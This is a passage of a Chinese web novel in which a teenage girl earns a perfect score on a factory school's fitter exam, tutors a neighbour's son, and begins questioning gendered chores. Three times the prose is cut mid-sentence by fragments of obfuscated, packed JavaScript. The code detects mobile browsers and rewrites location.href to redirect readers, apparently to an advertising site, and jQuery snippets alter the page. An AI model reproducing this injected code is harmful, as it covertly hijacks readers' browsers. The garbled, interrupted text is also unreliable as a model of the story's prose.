“天啊,”宁珍珠是个圆脸姑娘,脸颊还有小酒窝,她眼睛都瞪圆了些,大胆猜想,“巧枝你说你会不会是这次所有学生里的第一啊?” “还有别的工种呢,考核的内容都不一样。”林巧枝道。 她喝着汽水,心里下意识琢磨起了刚刚的考核,不知道老师们在那张评分表上写的是什么。 越临近中午,日头越大,人越燥。 等待了一早上的学生忐忑难安,坐在教室里的老师也不耐烦,感觉外头蝉吵得人头疼,恨不得都粘下来。 送走了最后一位学生,门一关,王柏强就把笔往操作台上一扔。 他黑着脸,站起来把锤子一拿,哐哐两下,把几个学生都没锤断的钢棍锤断了。 抡了几下锤子,王柏强舒坦了,他扯了扯衣服领口,“可算把这股邪火发出来了。” 他指着钢棍,恨铁不成钢地说:“你们说这一个个,什么水平?十几岁的男生,白长那么大的块头,还有最后那个姓郭的小子,看着一副老实能吃苦的模样,锤都握不紧,震脱手了还好意思甩手喊疼,这要搁咱们当徒弟那会儿,师傅直接一脚踹过来了。” 明显是没怎么练,来这儿撞运气,糊弄鬼呢! “火气别这么重,等会儿去食堂看看有没有绿豆汤,消消火,别闹得嘴里长火泡。”乔元心态很好的说,“你想想这些最后交报名表的都是些什么人,正儿八经想学技术的,哪个不是早就交了。” 红旗厂技术学校门框不低,不是谁都收的。 很多人甚至从五六年级,就跟着长辈慢慢练了,迟一点的,上初中也开始寻摸师父学起来。 排在林巧枝后头的几个,几乎全是被她刺激的。 “她一女孩都敢去试试,我凭什么不可以?” ——这是不服气林巧枝的男生。 还有些是家里人眼热,催促自家孩子,“你也去报一个试试,你看看人家巧枝都报了,她还不是没地儿托人学,你就比她差了?” ——这完全是赶鸭子上架了。 有时候父母就是这么自信,明明自己也做不到的事,硬要让孩子去试试。 王柏强拿起铁皮水壶,喝了几大口凉水,勉强舒坦些了。 他走到操作台边,拿起那根林巧枝敲断的半截钢棍,打量横截面,“这姑娘还行。” “刚刚那个3下敲断的丫头?叫什么来着?确实不错,动作利索,看得舒坦。” 真是人比人得死,货比货得扔。 看过后面几个糟心玩意之后,林巧枝那干脆利落的三下锤击,在这群老师眼里,一下顺眼了好几倍。 四个老师边喝水边闲聊,走动到操作台这边活动腰腿,伸头看林巧枝锤击断的钢棍截面。 “这要是真交了报名表之后才开始练的,这丫头天赋不一般啊。” “她手上还没伤!” “现在的女娃娃真是不得了。” 乔元看了眼王柏强,问:“咱要不要跟师父说一声?” 这声师父喊的是路工,他们都算是早期路锋亲手带出来的徒弟。 王柏强想了想,还是道:“再看看吧,真要有这么好的天赋,进了学校藏不住的。” 说完,他们各自整理,把四个人的打分表对了一下,免得错漏。 核对完,名单就出来了。 厂里效率很高,也是自己厂办学校,还是高工(高级技术工人)亲自去监考的,没什么一轮轮复杂的流程。 下午,誊写好的名单就贴在了学校外墙上。 名字,成绩。 简简单单两列。 吃过饭、报过喜的学生们,热热闹闹扎堆在学校门口,确认自己的名字和成绩。 在一堆及格良好,和零星的优秀中,唯一一个满分赫然列在林巧枝的名字后头。 格外突出。 引起一小阵哗然,看公告的学生都忍不住多看两眼。 “竟然会有满分?” “赵松,你这个优秀是几下敲断的钢棍?” 这些声音都被林巧枝抛在身后,看过张贴的公告,她欢喜地和宁珍珠跑回家。 关上门。 林巧枝兴奋地扑到床上,卷着被子在床上左右滚。 “珍珠!!!你看到没有,满分,是满分诶!”她声音抑制不住的开心,“唯一一个,说明他们都没我厉害。” 宁珍珠也高兴得手舞足蹈,骄傲得不行,“要是阿水和晚晚知道你这么牛,肯定后悔没和我一起请假回来给你庆祝了。” 林巧枝和她对视大笑。 不禁想,真好。 即使是梦里,宁珍珠也一直是活得最幸福的那个。 她是宁家老来女,父母爷奶姥姥姥爷都疼她,真的像是珍珠一样宝贝她,也是她们这群女孩里,唯一一个和她一起考上高中的。 下乡大潮来时,宁珍珠和她一样正巧高中毕业,幸运的是,宁家托了关系,加上宁珍珠本身不错的高中学历,找了个供销社的金饭碗。 一直到她死去,在乡下都能时不时收到珍珠和阿水她们两个人的包裹。 阿水的包裹她不太意外。 她从小护着阿水,是一起和偏心的父母吵过来抗争过来的情谊。 在下乡前,阿水也是几经周折,找到一个转让的工作机会,但需要一笔不小的钱。 她不敢告诉家里。 一旦告诉他们,家里出钱,那工作多半就要被家里兄弟占了。 尽管当时她们都风雨飘摇,但都各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119706|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自凑了钱给阿水。 她也凑了不少。 其实她手头没多少钱,只是把那些从小到大积攒的玩具收拾出来,一箱子都拿去给她。 那些玩具做得好,很受小孩欢迎,总有疼孩子的,手头有点钱的双职工。 偷偷换了不少钱。 阿水几乎是卡在下乡的前一周,险而又险的落实了工作。 宁珍珠和阿水又不一样,林巧枝自问她并没有帮助过珍珠太多,这是个命好的姑娘,她们聊得来,性子和,这才成了朋友。 可往后好些年,她也依旧一直收到珍珠的包裹。 比她父母寄得都勤,尤其是她弟弟结婚后。从家里寄来的东西越来越少,一次比一次慢。 林巧枝闭了闭眼,她们几个朋友,除了阿水和珍珠,其余几个都下乡了。 争出来的爱和公平,哪里是真的? 到关键时刻,天平还是会毫不犹豫的倾斜。 “想什么呢?” 宁珍珠张开手在她眼前挥挥,笑着调侃:“不会是高兴傻了吧?” 林巧枝抱住扑过来的宁珍珠,想到那几双黑亮明媚的眼睛。 她们都会好的。 会好的。 她要往前走,更努力一点往前走。 *** 下工了。 林父用搭在毛巾脖子上的毛巾擦汗,边擦边往外走。 “武强,可以啊!” 忽然有人笑着给他打招呼,还竖了个大拇指。 林武强纳闷。 “怎么,你还不知道啊?你闺女,她真过咱们厂技术学校的考核了,王工、乔工给她打了满分啊,以后当技术工是铁板钉钉了!说不定还能成高工呢!” 听了这话,周围一群人起哄。 林父呆了一会儿。 不敢相信自己的耳朵。 虽然同样在一个厂工作,但不同工种在大伙心里也是有好坏的。 装卸工基本就是最苦最累的活了,只能熬工龄涨工资。 林父老家在农村,当初进城运气好,纯凭借一把子力气招工进了厂,这么多年也没调动。 林父敢想的最好的路,也就是学点开大车的技术,换去运输组。 高工,那简直想都不敢想。 做梦都不敢去碰的。 听着一群工友,羡慕又似开玩笑的说“以后要仰仗老林你了”“老林你要有个高工闺女了”,林父感觉一颗心控制不住地咚咚直跳。 他顾不上别的,急匆匆跑到厂技术学校门口。 看到那个格外惹眼,与众不同的“满分”。 他完全不敢相信自己的眼睛。 他之前真的没放在心上,小孩子一时兴起罢了。 没师傅教,没太长时间准备,自己琢磨着锤锤,哪那么简单? 林父大步往家里赶,蹬蹬蹬迈上二楼。 他砰地一下推开门,满头大汗地朝着屋里喊:“巧枝。” *** 本是一件小事。 没什么好议论的。 但或许是之前太多人没放在心上,只当玩笑看。 成绩贴出来之后,觉得不可思议的人都讨论起来,还有许多厂里职工和家属,没忍住跑去问王柏强几人,问林巧枝技术真有那么好? 太多人在议论这件事,提起厂技术学校的钳工考核,也让住在家属院的路工注意到这事。 一路听回来,说什么的都有。 为探寻个明白,他回到家,掏粮票给家里小孩,让他们拿着铝饭盒去食堂打几个肉菜,又和媳妇说:“今晚加几个菜,等会儿喊小王、小乔他们来家里吃个饭。” 5. 请她帮忙 林父急匆匆回家,没找到女儿。 他有点心急,在屋子里走来走去,一杯杯喝白开水,等林巧枝回家。 却先等来了个意料之外的人。 林父有点局促的拉开椅子,把茶壶拎过来,给倒了杯水,不好意思坐下搓了搓手:“条件差了点。” 家里没小孩子,也没备点瓜子零嘴什么的。 “这天热,喝点凉白开挺舒坦的。”周常喝了一杯,又把拎来两样礼物推过去,脸上带笑道,“老林啊,咱也是认识这么多年的老熟人了。” 林父看着这老熟人的笑脸,一时讷讷地不知道该说什么才好。 他嘴笨,不会说话。 说是老熟人,以前他没见周常对他笑得这么热情。 周常是运输组的工人,林父想着是邻居,搞好关系能学两手,日后有空缺了,指不定能调过去。 林父心里这么盘算,平日里搬货卸货的时候,也总凑过去干些活套近乎,还帮着洗洗车啥的。 人是对他笑,就是装不懂。 林父一时有些不习惯,端起杯子喝了一口掩饰一下,才问:“周哥你这是?” “你这客气了不是,喊我老周就行。”周常爽朗笑笑,心里却是吃了酸李子一样,这呆驴可真是有福。 “我也不跟你客气,就直说了。” 这晒得有点黑的汉子叹着气说:“我那不争气的小儿子,今儿也是去考试了,结果愣是差一点。” “这不,你家巧枝争气啊!我就想着,请你家巧枝帮着教教。” 林巧枝在回家的路上。 她不知道家属院里好多人家,今晚吃饭时都在聊她,吃着饭,总有人开口提一句“你们知不知道今儿林家那个野丫头。”或者是“厂技术学校出名单了,你们绝对猜不到有谁。” 连路工都关心了一下她那场考核,把几个徒弟喊来问问情况。 林巧枝回学校上课了,还把高兴坏了,不乐意回学校的宁珍珠一起拉回去。 她可不想影响了宁珍珠的中考,要是供销社的金饭碗出了岔子,她会难过死的! 本来没有她一起复习备考,这家伙就没把自己逼那么紧,还不想回去上课了。 她去了学校,抓着宁珍珠这个就会用酒窝撒娇躲懒的小懒虫,好好整理了一下最近考试出错的题。 弄完了,才回家。 她走过家属院的小巷,感觉一路上跟她打招呼的人都变多了。 回到家。 她伸手拉肩带把挎包取下来,想摆在柜子上,却看到屋里有客人。 “巧枝,放学回来了。”周常笑着招呼,又转头跟林父夸,“还是女孩懂事,不叫人操心,不像那些臭小子,请了假哪还记得回去上学?” 林父也笑着,脸上都笑出褶了,朝林巧枝招手:“来巧枝,这是你周伯伯。” 林巧枝放下书包,打招呼:“周伯伯。” 她目光扫到餐桌上,有些诧异,一瓶橘子罐头,一包油纸包好的糕点。 隐隐还能闻到一股糕点的香味,不是她狗鼻子,而是太久没有吃过这些好东西了。 这肯定不是她们家的东西。 她家一人工资养四口人,牙缝里省下点钱,还都孝敬两边老人了。 江红梅天天念叨,家里的蟑螂怕是都知道这家没什么吃的,识趣地搬家了。 周常见她表情,心里高兴,压对宝了! 这年头,小孩都馋口吃的。 没油水,前头还饿了三年,别说小孩了,连他们大人都惦记一口吃的,要是有肉,能高兴一天。 “伯伯打听到你爱吃绿豆糕,这不,特地去供销社买的苏记的,口感油润,绿豆沙磨得细细的,最适合咱们江城人的口味。” 周常笑眯眯地介绍。 寒暄两句。 林巧枝这才晓得,这伯伯是冲她来的。 她疑惑:“不是都考完了吗?” 周伯伯笑笑,只是说:“这不都是自家厂子嘛,对咱们厂子弟也没那么苛刻,后头还有一次补考的机会。” 见江红梅也拿着铝饭盒打菜回来了。 周常起身道:“好了,我就不打扰你们家吃饭了。”他又冲林巧枝笑着说,“我跟你爸都说好了,等会儿让你爸跟你说说。” 送走周常。 江红梅过来端碗、摆菜,高兴地说:“今儿我一听到消息就往家里跑,刚回来你爸就喊我去食堂打几个菜,说是庆祝一下,你看你爸对你好吧。” 在里间的林家栋也跑出来,热情的给搬凳子:“来姐,你坐这儿,我去拿筷子。” 林巧枝有点奇怪。 心底又不免有些高兴。 她洗了手坐下,碗里就被夹来一片肉,辣椒炒五花肉片。 她夹起来吃了,五花肉被煸过,香得不得了!又辣,嘴巴里一个劲儿的分泌口水。 她都多久没有吃过这样的大肉片子了!! 赶紧吃了好几口。 这才心满意足地问:“爸,你跟周伯伯都说好什么了?” 她其实有那么一点不痛快。 明明是请她帮忙,怎么不找她,反而跟她爸“都说好了。” 林父笑出了牙花子,又给她夹了一片肉,“就是请你教教他家小儿子那事。” 他声音压低:“你周伯伯说,只要你帮他家小儿子过了补考,他就教我开大车,等下次运输组再有空缺,爸就能调过去了。” 江红梅歇了筷子道:“我刚刚出去顺便打听了,他家大儿子跟他学了车,等了几年,等到了招聘,现在在车队做学徒工,不大可能再把家里小儿子也安排进厂了,接班又太早,所以就给小的那个寻摸了个师傅,学手艺。” 这么一说,林巧枝大概想起来了,周家两个孩子都是男孩,没有女孩,所以她不太熟这家。 周家小儿子应该也不是那种外向疯玩的类型,要不然肯定有追着她一起玩玩具,或者被她揍的经历。 乖孩子?还是闷葫芦? 林巧枝想到糕点和罐头,乐得应下:“教倒是没问题,不过我也不能保证他学的怎么样,能不能过补考。” “好闺女,给爸长脸!”林父难得喝了点小酒,高兴得脸都红了,“你多尽点心,你能拿满分,还怕教不了他一个考不过的?” 江红梅也拉她的手:“你也知道,你爸这些年多不容易,咱们厂的拖拉机和柴油机都重,装卸活又重又累,任务重的时候,一趟一趟的搬,你爸肩膀、腰、腿哪儿哪儿都有毛病,回来我天天给他揉药酒。” 林巧枝抿了抿唇。 “我知道了,我肯定尽心教。” 她看向林父。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119707|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >难得那么高兴的样子,连脸上笑出的褶皱都透着得意和快活。 她有时候觉得她妈妈说的话很可怕。 “女孩子长大点就懂事了。” “女人心软。” 她好像真的越长大,越“懂事”越“心软”了。 要是小时候给弟弟吃肉,她没有,她是敢掀桌子的,任由盘子食物噼里啪啦碎一地。 现在却会犹豫,太糟蹋粮食了。 她明知道下乡大潮来临后,她和弟弟都没有找到工作,父母硬是让她下了乡。 她心里是有怨的。 可看到林父喜笑颜开,一副为闺女欣慰又骄傲的表情,她还是不由舒心。 她会想到那些揉药油的画面,会想到他疲惫得说不出话,倒头就睡的那些日夜。 是林爸做那样辛苦的活计,养活了这个家,还供她和弟弟读书。 小时候,她想要一套工具,说要做玩具,也是林爸去给人家帮忙,然后淘换回来一些用旧的工具。 她有时候看江红梅抹眼泪,说自己命苦,也会心里酸酸的,想到妈妈小时候给她做的衣服,那是很漂亮的小碎花布,很难抢的。 晚上。 睡在床上,林巧枝翻来覆去。 明明今天该高兴的,但她却睡不着,心里一会儿高兴一会儿酸涩发堵。 她脑子里控制不住地一遍遍浮现声音。 “女孩子长大点就懂事了,晓得操持家务事了。” “女人心软。” “哪有女孩子不嫁人的?你还能一辈子不学做饭、不洗碗了?” 她不想这样的。 林巧枝扯被子盖住脑袋,捂住耳朵,想把这些声音隔绝在外。 忽的,一阵银铃般的欢快笑声闯进来,“哈哈哈,我就不洗,我一辈子都不洗碗,略略略!” 林巧枝猛然睁大眼睛。 看到一个黄土墙围起来的小院子,还有一个漂亮得不像话的女生,正卧在藤编躺椅上笑得眉飞色舞,花枝乱颤。 林巧枝:!!! 她什么时候睡着的?可恶,睡前没有想具体哪个梦,是会乱做梦的呀! 她锻炼技术的机会,就这么被浪费了一晚上,足足一晚上! 好心痛。 林巧枝心疼得脸都绉起来,目光却不由自主被眼前的女生吸引。 她太漂亮了,让人根本挪不开眼睛,漂亮得都好像不是长出来的,而是被堆叠了好多好多世界上最美好的词才汇聚出来的女孩。 她记得这个漂亮得不像话的女生,可能是妖精,她说她自己是一条咸鱼。 人怎么能是鱼呢!! 这漂亮妖精还相亲嫁给一个军官,去海岛给人当后妈。 又是一声爆哭呜咽:“呜呜呜你一辈子都不洗碗,难道都要我洗吗?你坏,你是心黑后妈!”满手满脸满头都是泡沫的小男孩,蹲在水盆边,仰着头大声哭。 漂亮妖精笑得更开心了:“猜对了呀,我这种女人铁石心肠。见过铁石没?黑的。” 小男孩愣住了。 “男孩子长大就要懂点事了,晓得在家里干活,你瞧你爸不就洗衣服刷墙的,学着点~” 小男孩悲愤仰头大哭:“你是后妈!!” “诶~~~” 林巧枝感觉世界受到了冲击。 6. 效果立竿见影 清晨。 安静的家属院窸窸窣窣的、逐渐有了动静。 林巧枝从睡梦中醒来,她觉得这次起床与之前不同,不是那种疲惫和酸痛瞬间消散的舒服,今日分外神清气爽。 是一种近乎喜悦和满足的情绪。 世界都明亮了,好像被擦洗过。 她飞快的穿好衣服,跳下床,拿起毛巾和脸盆往楼下自来水池跑去。 家属院里,熟悉的街坊邻里笑着打着招呼。 “早!” “老吴你下晚班了?” “诶,刚吃完,今儿周三,早上食堂供应凉面,赵师傅担凉面有一手,又劲道又爽口,辣子也是香得嘞。” “巧枝,你起这么早啊?人逢喜事精神爽啊,这一脸笑。” 林巧枝扬起灿烂的笑容,大大方方:“早啊!今儿高兴,当然要笑。” 江城江水湖泊多,云蒸霞蔚,日出时天空都是一种非常漂亮的金红色。 笑容映着乍破的天光,那种勃发的精神面貌,让人一眼就看到。 林巧枝从小晒太阳多,一身大麦色的皮肤。她并不是当下受欢迎的圆脸有福气的姑娘,脸型有点棱角,生气看着凶,笑起来却有种蓬勃的野生美。 “笑起来多好看,小姑娘就是要多笑笑。” 大伙都以为她为考核成绩高兴。 边洗漱,边热络地你一句我一句聊起来厂技术学校的考核来,谁没过,谁家因为这事在吵,又打算上哪一所别的学校。 家属楼没通自来水上楼,有专门水泥砌的统一水池,安了一排自来水管。 水龙头里哗啦啦流出清凉的水,砸进脸盆里,迸溅到水泥池里。 林巧枝在水池边弯腰刷着牙,心里哼着小调儿。 洗漱完,又飞快地蹬蹬蹬跑上楼。 大家也都起床了。 各自在穿衣、梳头,江红梅摆出一缸晾凉的稀饭,又从咸菜坛子里捞一把酸豆角出来切碎。 食堂里的凉面,再好吃,跟他们家是没什么太大关系的。 尽管食堂不贵,但再怎么便宜,也没有从厂办粮油店买食材,自己在家做来的划算。 嘴巴越多,越划算。 林巧枝找了一圈,没瞧见昨天周伯伯拎来的橘子罐头和绿豆糕,她看江红梅:“妈,你把罐头和绿豆糕放哪儿了?” 江红梅她:“你问这干嘛?” “拿来吃啊。”林巧枝理直气壮的说,又狐疑,“妈你不会想收起来,然后带回去给姨妈舅舅他们吧?” “胡说什么呢,哪有姑娘家像你这么嘴馋的,一大清早就惦记着吃,好东西不得收着慢慢吃。”江红梅骂骂咧咧地反驳。 林巧枝觉得她猜到真相了。 她妈妈是家里大姐,总是想着照看着弟弟妹妹,有什么好东西都惦记着家里。 更恼人的是,他爸这种在厂里老老实实的男人,一回老家也摆阔,全村唯一一个“进城工人”,不能跌了面子。 结果自己日子过得苦巴巴的。 林巧枝道:“收着慢慢吃,不得坏了?”她好像破开了什么心结,坦坦荡荡地说,“还别说,我还真挺馋这口的。你们不嘴馋就别吃了,我一个人也吃得下。” 换好衣服出来的林家栋脚步一顿,诧异地看过来。她姐姐脾气,最讨厌别人说她不好,尤其是带着性别说,一定是要争辩的。 今儿是怎么了,竟然大大方方的承认自己就是嘴馋。 江红梅也愣了一下,但没转过弯来。 林巧枝也不等她,她知道橱柜钥匙放哪里,找到钥匙,打开了橱柜,把罐头往挎包里装,本来想留一半在家里的糕点,也不拆了,拎出来。 “你这、不留点在家里?”林家栋没忍住问了句,往前走了两步。 “本来就是送我的,而且你又不馋这口。” 林巧枝拍拍挎包里的橘子罐头,心情大好,声音都带笑。 怪异的气氛在空气中弥漫。 林父江母半宿没睡,商量了一晚上的话,愣是没找到机会开口。 餐桌上只能听到喝稀饭的声音。 眼瞧着林巧枝真一点不留,就要拎着糕点走了,江红梅没忍住喊了声:“巧枝啊。”她声音都比平时软和些,“妈今儿日子不舒服,你帮着洗洗碗。” 林巧枝实在是没忍住心痒痒,学漂亮妖精姐姐的语气,指了指林家栋:“妈我跟你说,男孩子就该多学着做点家务的,要不以后娶不到媳妇的。” “咳!咳!咳!” 正仰头呼噜呼噜喝最后一口稀饭的林父,一阵咳嗽,被米粒呛到了。 江红梅满脸错愕,边给林父拍背,边回头朝门外看着林巧枝离去的背影,“这丫头,说什么胡话呢。” 这两年埋头读书,还以为性子好些了,这野丫头,还是这么野。 林巧枝迎着初升的朝阳往前走。 高兴地止不住的笑。 她昨天梦了很久,看到漂亮姐姐没动一根手指头,哄着军官,逗着小娃娃,不仅日子过得特别舒坦,还把小娃娃教得特别好,机灵,活泼,勇敢,爱干净。 就是闹腾了些,成日斗智斗勇的。 最重要的是,她发现,漂亮妖精日复一日的、理所当然的说着“男孩就该如何如何”的话,小娃娃真的变了,朝着她描述的方向发展。 “男孩就该心疼妈妈。” “男孩子长大就要懂点事了,晓得在家里干活。” 听,多么相似啊。 她惶恐的、担忧的,好像一下泡泡般被轻易戳破了。 女孩天生就心软?女孩长大了就懂事了,晓得操持家务了?没有女孩不嫁人的? 不是的。 不是这样的。 是所有人一遍遍的在女孩耳边说,你该这样做,女孩就该做这些,女孩天生就是这样的,否则就是不懂事,就是错的、不该的! 十五岁的林巧枝神采奕奕,兴奋地同孟主任说这些,她亮着眼睛大胆的畅想: “孟主任,假如有一天,全天下女孩都说,男人要会洗衣做饭,否则娶不到媳妇。那男孩是不是也会从小被教着,烧火洗衣做饭?” 孟主任看着面前送给她的绿豆糕。 感觉自己有点晕,好像世界受到了冲击。 孟知书觉得自己做了一辈子的妇女工作,也没有这么大胆过。 “不是,等会儿……”她手抚了抚额头,缓了两秒,“巧枝啊,咱们也要考虑考虑实际情况,比如你家,你爸上了一天工,很累了也不能回家还洗衣做饭不是?夫妻就是要相互扶持着过日子,你还小,有些事长大就明白了。” “那双职工呢?”林巧枝可不觉得自己小,她看得明明白白的,“即使双职工不少在食堂吃,但是回了家,明明都是工人,都挣钱养家,还是女人洗衣服,刷鞋,扫地,铺床。男人都不伸手,在家当甩手掌柜,等着人伺候。” 她长了这么大,十五年了,可从没见过一个男人端着洗衣盆在家属院水池边搓衣服。 但是梦里有! 林巧枝拉着孟主任的手,撺掇着:“孟主任,您曾经说过,妇女工作不仅仅是妇女要听,妇女思想要进步,所有工人思想都要进步。我们可以从双职工,或者女人是职工的单职工家庭开始,做下个阶段的妇女工作嘛!” 孟知书的丈夫回家,放下食堂打来的凉面,“哪来的绿豆糕?” 然后看到妻子用若有所思的眼神,看自己。 他不由摸摸自己的脸,脸没洗干净? 怎么感觉有点毛毛的? “媳妇?” 孟知书又看了他两眼,才回了句,“巧枝送来的。” 她没想收的,结果没来得及推回去,人就跑了,比兔子还快。 林巧枝快乐地往学校的方向跑。 孟主任帮过她很多,要不然她一个小孩子,没有人护着,哪里能犟得过大人。 她第一次有能力,小小地感谢一下孟主任! 而她只是迈出了一小步而已。 不够,她还要更好,成为高工,成为路工那样受尊敬、有话语权的人。 她还想,当八级工。 *** 到了学校,林巧枝认真复习功课。 然后把橘子罐头掏出来,午休的时候和珍珠、阿水她们分着吃了。 北冰洋汽水可贵了,足足要一毛钱,对很多家里一个月收入才二三十块的家庭来说,都是奢侈品。 也只有宁珍珠手头有这钱,还大方的买来给她庆祝。 放了学。 林巧枝收拾了书,按照约定去了周伯伯家。 周母热情的迎上来,“巧枝啊,来坐,喝点水。” 林巧枝也不辜负下肚的橘子罐头,笑得比罐头水都甜,“伯母你放心,我肯认真教。” 周家小儿子叫周树。 林巧枝一瞧,就知道是个内向的老实孩子,用她们江城话说,闷鸡子。 有点蔫蔫的,看起来应该是被骂了。 “巧枝姐。”周树低声喊了句。 “走吧。” 林巧枝喊上他,找了个家属院里比较偏僻的角落,免得太过扰民。 她朝手锤给了个眼神,示意:“你先敲几下我看看。” “哦,好的。”周树手忙脚乱地从提着的大工具箱里,拿出练习用的一系列工具。 林巧枝瞧了一眼,心里嘀咕,“还挺齐全。” 质量也好,像是置办的。 周树摆好架势后,抡了好几下锤。 “铛铛铛铛”的凌乱敲击声,林巧枝当即皱起了眉。 她看看被锤击的铁棍,又看看周树,落在他的表情上,目光凝视:“你是不是怕我?紧张什么?” “没、没有。”周树被她的目光逼得下意识后退一步。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119708|164226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林巧枝:? 她可算知道周伯伯为什么想让周树学技术,进自家厂工作,而不是学了开车,等待别的厂的招工了。 林巧枝逼问下,可算得了一句准话。 周树小心翼翼的看她,小声:“我怕你打我。”他看过林巧枝打人,从小看,可凶了。 林巧枝:“……” “我又不随便打人。”她看周树不信任的眼神,她表示,“那是他们欠揍。” 林巧枝和同龄男孩子的关系其实还挺复杂,她从小会玩,还会做很多玩具,一度让很多男孩子都追着她跑,喊她姐。 但因为“他不干,我们也不干”的鸡飞狗跳,很多大人不喜欢她,让自家小孩别跟她玩,有些闹得狠的家里,男孩子被喊干活的时候也嫌烦。 一起玩的时候很开心,但总有闹别扭的时候,小孩子不会思考那么多,家里人说的话就不自觉带出来了。 然后……就打起来了。 打完了过几天又和好一起玩,然后又打。 打着打着,小孩们长大了,友谊也不知什么时候消散了。 林巧枝其实也记不太清每一次到底是为什么打起来了,就记得打得多,觉得男生太讨厌了! 她对上周树怀疑的眼神,摸摸鼻子,然后道:“我保证不打你行了吧?” 她拍了下肚子:“这儿还有你爸送的橘子罐头呢,吃人嘴短,晓得吧?” 听她这样说,周树这才稍稍松了口气。 慢慢进入状态。 林巧枝观察了一阵,发现其实他基础挺好的。 手膀子有力气,锤得动。 手心里有茧,握得住锤。 抡锤也是流畅的,至少认真练过。 不过想想也是,这种老实孩子,偷懒耍滑的少。 就是吧,劲儿有点笨,十成力锤下去,通过錾子到钢棍上,就剩下七八成。 手捏着他胳膊肘,往上抬半拳左右:“别太低了。”又忍不住好奇问,“你之前老师怎么教你的?” 她还不知道正常师傅带徒弟怎么教呢。 沟通一阵。 林巧枝还是没明白正常师傅怎么带徒弟,就一个感觉,那师傅好像不太会教。 技术肯定没问题,锤个钢棍轻轻松松。 但是吧,有的人可能就是这样,自己会了,但是讲不出来。 据说对周树说的最多的一句话就是:“你看看我怎么做的就知道了。” 挥锤的角度——“这哪说得清楚,你看我就知道了。” 发力方式——“你这个腰,腰要用劲儿,看我怎么用劲儿就知道了。” 眼、手之间的配合——“就这么打,你看看我怎么做。” 林巧枝哭笑不得。 这真人师傅,怎么跟梦里假人师傅一样,除了会多说一句“你看我就知道了”好像也没什么区别。 她猜,这个师傅,要么是自己没总结过,长年累月工作中一点点涨的功,要么就是表达能力有欠缺。 好在,为了效率,她是用脑子琢磨的。 她还有一个旁人比不了的优势,在梦里,她经常扰乱、扯歪假人师傅的动作,然后观察他怎么调整归位的。 被她“捣乱”过的假人师傅还不止一个呢,高矮胖瘦都有,就为了找出底层规律,这样才好用在身高、身材完全不同的她自己身上。 “这边点。” “手抬高。” 林巧枝一通调整。 然后效果立竿见影! 可惜是反义的——周树不会了,甚至差点砸到手。 林巧枝:“……” 绿豆糕也送人了,橘子罐头也吃了,然后把人家孩子55分的水平,一下拉低到5分? 这不能行啊! 林巧枝心虚的咳咳两声,然后说:“你还是按你原来的来,我们慢慢调整。” 幸好周树是个老实孩子,没异议,又哼哧哼哧锤了一百多下,勉强回到了原来55分的水平。 当然,林巧枝怀疑,也有可能是怕被她打。 ——退出江湖多年,但江湖上仍然有姐的传说。 林巧枝感慨自己架没白打,然后十二分谨慎地挑选了一个地方改。 又是一阵铛铛铛铛。 感觉周树差不多吸收了,动作稳定了,她才谨慎的继续缓慢推进,顺便还给讲了这么改的原因。 又是一阵锤击。 铛铛铛的锤击声中,掺杂着细微的咔嚓声。 周树连续三次,能稳定的在10到12下,敲断一根钢棍。 林巧枝松了口气,勉强爬到60分了。可算没把人弄成邯郸学步,5分太吓人了。 “巧枝姐,等会儿能不能跟我回去一趟?我想跟我爸妈说,真不是我笨。”他试探着看林巧枝,“你给我作证。” 林巧枝:……她觉得,作这个证好像有一点点昧良心。 7. 吃人 这边教着。 铛铛铛的声音没怎么断过,传得老远。 被拒绝的周树,明显蔫了一点,但还是勤勤恳恳的练习。 林巧枝差不多也摸索到了教他的套路。 她在旁边找了个墙靠着,拿本书在手上看,巩固那些需要背诵的内容。 隔段时间看一眼周树,讲讲哪里不对就行。 她正背着一段语录。 一道热情的声音,在耳畔响起:“姐!” “累了吧,妈熬了绿豆汤,浸了凉水的,特地让我给你们送来。”林家栋右手里拎着一个铁皮水壶,左手指上还勾着两个搪瓷缸。 他伸手让周树拿走一个搪瓷缸,空出了手,麻溜地给林巧枝倒了一杯,殷勤道:“姐,试试甜不甜。” 林巧枝总觉得哪儿不对劲儿。 她和弟弟的关系,也不是没有这么好过。 但这样对她殷切讨好,都不记得是多少年前的事了,当年还是为了玩具,为了出去炫耀。 这次又是为了什么呢? 喝了一口绿豆汤。 林巧枝就瞅见她弟给周树也倒了一杯,然后自来熟、一副哥俩好的样子,打听起周树练习的情况来。 周树面对突如其来的热情,显然有点无措。 “挺、挺好。” “是不是进步很快?我姐教得还不错吧。” “嗯。” …… 林巧枝眼瞧着,周树转身去拿锤子,其实是悄悄挣脱开林家栋搭在他肩膀上的胳膊。 不过林家栋倒是问了一句,觉得她和之前师傅哪个教得好。 算是打到周树心窝子里去了。 